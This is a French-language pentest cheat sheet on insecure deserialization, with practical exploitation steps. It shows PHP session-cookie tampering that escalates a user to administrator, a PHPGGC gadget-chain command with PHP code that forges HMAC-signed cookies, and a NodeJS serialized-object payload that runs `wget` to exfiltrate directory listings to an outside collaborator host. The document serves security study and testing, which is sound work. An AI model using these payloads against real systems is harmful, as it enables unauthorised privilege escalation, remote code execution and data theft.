⚙️Insecure deserialization

Description

La sérialisation est le processus par lequel un bit de données dans un langage de programmation est convertie dans un format qui permet de l'enregistrer dans une base de données ou transférés sur un réseau. La désérialisation quant à elle fait référence au processus inverse, dans lequel le programme lit l'objet sérialisé à partir d'un fichier ou du réseau et le reconvertit en objet.

Ceci est utile car certains objets dans les langages de programmation sont difficile à transférer via un réseau ou à stocker dans une base de données sans corruption. La sérialisation et la désérialisation permettent aux langages de programmation de reconstruire des objets de programme identiques dans différents environnements informatiques. De nombreux langages de programmation prennent en charge la sérialisation et la désérialisation d'objets (Java, PHP, Python et Ruby).

Ce type de vulnérabilités demande une expertise poussée des mécanismes de sérialisation et de désérialisation des langages de programmation concernés. Le contenu présenté ci-dessous ne représente donc qu'une base infime des possibilités d'exploitation plutôt orienté PHP en sachant qu'on en retrouve la plupart du temps dans du Java.

Exploitation

Recherche de fonctions potentiellement vulnérables

L'analyse de code est le moyen le plus efficace de trouver des Insecure deserializations.

le moyen le plus rapide de trouver des vulnérabilités de désérialisation non sécurisées est de rechercher les fonctions de désérialisation dans le code source et vérifier si l'entrée de l'utilisateur est passé dedans de manière non sécurisée.

Cependant il arrive que des Insecure deserialization soient trouvées sans analyse de code ce qui est beaucoup plus rare.

Les fonctions de désérialisation pour chaque langage sont les suivants:

  • PHP: unserialize()

  • Java: readObject()

  • Python / Ruby: Marshall.load() ou pickle.load()

Tips pour trouver des points potentiellement vulnérables sans accès au code source

  1. Prêter attention aux grandes quantités de données encodées en base64 qui sont souvent des chaînes de caractères sérialisés encodées.

  2. Vérifier les en-têtes "Content-Type:" (exemple: Content-type: application/x-java-serialized-object)

  3. Vérifier les fonctionnalités telles que les entrées de bases de données, les tokens d'authentification ainsi que les paramètres de formulaires HTML

Basic (PHP)

Avec Burp suite,

Interception du cookie de session de l'utilisateur courant:

cookie: session=<chaîne base64>

Utilisation de Burp Inspector pour Décoder la chaîne.

Chaîne base64 décodé:

O:4:"User":2:{s:8:"username";s:7:"user123";s:5:"admin";b:0;}

Analyse de l'objet sérialisé PHP et exploitation:

username=user123

s:X => s=string => X = nombre de caractères.

b:0 => b=Booléen => 0 = "False" donc admin=False

changement en b:1 => Booléen "True" => admin=True

Changement de type de donnée

Avec Burp suite,

Interception du cookie de session de l'utilisateur courant:

cookie: session=<chaîne base64>

Utilisation de Burp Inspector pour Décoder la chaîne.

Chaîne base64 décodé:

O:4:"User":2:{s:8:"username";s:7:"user123";s:12:"access_token";s:32:"ukkidafaq9oyq0ku3qa38ttpw43sii5k";}

Analyse de l'objet sérialisé PHP et exploitation:

  • user123 contient 7 caractères

  • access_token de l'utilisateur "administrator" est inconnu

On va donc dans un premier temps changer notre nom d'utilisateur par "administrator" composé de 13 caractères:

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"ukkidafaq9oyq0ku3qa38ttpw43sii5k";}

Cela ne suffit pas, l'access_token est toujours celui de "user123".

On va donc changer son type de donnée de "s" pour "string" à "i" pour "integer" puis le mettre à "0" ce qui nous donne à la fin:

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

PHP Deserialization with pre built gadget chain

Prérequis: Clé secrète et Gadget Chain

Utilisation de PHPGGC pour la création du payload puis création d'un nouveau cookie avec les informations en notre possession.

Création de l'objet PHP sérialisé et encodé en base64:

$ ./phpggc <GadgetChain> exec '<command>' | base64

Création du cookie:

<?php
$object="<Objet PHP sérialisé base64>";
$secretkey="<Clé secrète>";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretkey) . '"}');
echo $cookie;
?>

NodeJS

Objet de session:

{"userName":"_$$ND_FUNC$$_function (){ require('child_process').exec('wget your.burp.collab.com --post-data=$(ls -la | base64 -w 0)'); }()","passWord":"test"}

Extensions burp pour les appli Java

Freddy

ressource: https://github.com/nccgroup/freddy

Java-Deserialization-Scanner

ressource: https://github.com/federicodotta/Java-Deserialization-Scanner

Burp-Ysoserial

ressource: https://github.com/summitt/burp-ysoserial

Outils

PHPGGC

PHPGGC est une bibliothèque de charges utiles PHP unserialize() ainsi qu'un outil pour les générer, à partir de la ligne de commande ou par programmation.

Exemple d'utilisation:

$ ./phpggc <GadgetChain> exec '<command>'

ressource: https://github.com/ambionics/phpggc

Ysoserial

Ysoserial est un outil permettant de générer des charges utiles qui exploitent la désérialisation d'objet Java non sécurisée.

Exemple d'utilisation:

$ java -jar ysoserial-all.jar <payload> '[command]'

ressource: https://github.com/frohoff/ysoserial

Dernière mise à jour